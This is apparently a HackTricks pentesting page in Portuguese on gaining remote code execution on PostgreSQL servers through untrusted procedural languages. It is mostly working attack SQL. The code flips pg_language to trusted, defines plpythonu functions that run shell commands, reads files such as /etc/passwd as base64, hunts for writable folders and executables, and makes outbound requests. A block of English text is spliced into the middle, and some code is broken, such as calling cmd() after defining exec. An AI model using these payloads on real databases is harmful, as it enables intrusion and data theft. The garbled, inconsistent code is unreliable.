hacktricks/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md
2023-06-06 18:56:34 +00:00

349 lines
10 KiB
Markdown

## Linguagens do PostgreSQL
O banco de dados PostgreSQL ao qual você obteve acesso pode ter diferentes **linguagens de script instaladas** que você pode abusar para **executar código arbitrário**.
Você pode **fazê-las funcionar**:
```sql
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
```
A maioria das linguagens de script que você pode instalar no PostgreSQL tem **2 versões**: a **confiável** e a **não confiável**. A versão **não confiável** terá um nome **terminado em "u"** e será a versão que permitirá que você **execute código** e use outras funções interessantes. Estas são as linguagens que, se instaladas, são interessantes:
* **plpythonu**
* **plpython3u**
* **plperlu**
* **pljavaU**
* **plrubyu**
* ... (qualquer outra linguagem de programação usando uma versão insegura)
{% hint style="warning" %}
Se você descobrir que uma linguagem interessante está **instalada** mas **não confiável** pelo PostgreSQL (**`lanpltrusted`** é **`false`**), você pode tentar **confiar nela** com a seguinte linha para que nenhuma restrição seja aplicada pelo PostgreSQL:
```sql
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
```
{% endhint %}
{% hint style="danger" %}
Se você não vir um idioma, pode tentar carregá-lo com (**você precisa ser superadmin**):
```
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;
```
{% endhint %}
Observe que é possível compilar as versões seguras como "inseguras". Verifique [**isto**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) como exemplo. Portanto, sempre vale a pena tentar se você pode executar o código, mesmo que encontre apenas o **confiável** instalado.
## plpythonu/plpython3u
{% tabs %}
{% tab title="RCE" %}
```sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
```
{% endtab %}
{% tab title="Obter usuário do sistema operacional" %}
```sql
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.getlogin()
$$
LANGUAGE 'plpythonu';
SELECT get_user(""); #Get user, para is useless
```
{% endtab %}
{% tab title="Listar diretório" %}
```sql
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';
SELECT lsdir("/"); #List dir
```
{% endtab %}
{% tab title="Encontrar pasta W" %}
```sql
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables
return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';
SELECT findw("/"); #Find Writable folders from a folder (recursively)
```
{% endtab %}
{% tab title="Encontrar Arquivo" %}
```sql
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT find_file("psql"); #Find a file
```
{% endtab %}
{% tab title="Encontrar executáveis" %}
```sql
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find(dir)
b = []
for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT findx("/"); #Find an executables in folder (recursively)
```
{% endtab %}
{% tab title="Encontrar exec por subs" %}
```sql
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT find_exe("psql"); #Find executable by susbstring
```
# RCE with PostgreSQL Languages
PostgreSQL allows the creation of new languages that can be used to write stored procedures. This feature can be used to execute arbitrary code on the server.
## Creating a new language
To create a new language, you need to be a superuser or have the `CREATE LANGUAGE` privilege.
```sql
CREATE TRUSTED PROCEDURAL LANGUAGE 'plpythonu' HANDLER plpython_call_handler;
```
## Writing a stored procedure
Once the language is created, you can write a stored procedure in that language.
```sql
CREATE OR REPLACE FUNCTION rce() RETURNS void AS $$
import os
os.system('/usr/bin/id > /tmp/rce')
$$ LANGUAGE plpythonu;
```
This stored procedure executes the `id` command and writes the output to `/tmp/rce`.
## Calling the stored procedure
To call the stored procedure, you can use the `SELECT` statement.
```sql
SELECT rce();
```
This will execute the `rce` stored procedure and write the output to `/tmp/rce`.
## Cleaning up
To remove the language, you can use the `DROP LANGUAGE` statement.
```sql
DROP LANGUAGE plpythonu;
```
## References
- [PostgreSQL Documentation: CREATE LANGUAGE](https://www.postgresql.org/docs/current/sql-createlanguage.html)
- [PostgreSQL Documentation: CREATE FUNCTION](https://www.postgresql.org/docs/current/sql-createfunction.html)
```sql
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
$$
LANGUAGE 'plpythonu';
select read('/etc/passwd'); #Read a file in b64
```
{% endtab %}
{% tab title="Obter permissões" %}
```sql
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
$$
LANGUAGE 'plpythonu';
select get_perms("/etc/passwd"); # Get perms of file
```
{% endtab %}
{% tab title="Requisição" %}
```sql
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
import urllib
r = urllib.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
SELECT req2('https://google.com'); #Request using python2
CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
from urllib import request
r = request.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
SELECT req3('https://google.com'); #Request using python3
```
## pgSQL
Verifique a seguinte página:
{% content-ref url="pl-pgsql-password-bruteforce.md" %}
[pl-pgsql-password-bruteforce.md](pl-pgsql-password-bruteforce.md)
{% endcontent-ref %}
## C
Verifique a seguinte página:
{% content-ref url="rce-with-postgresql-extensions.md" %}
[rce-with-postgresql-extensions.md](rce-with-postgresql-extensions.md)
{% endcontent-ref %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>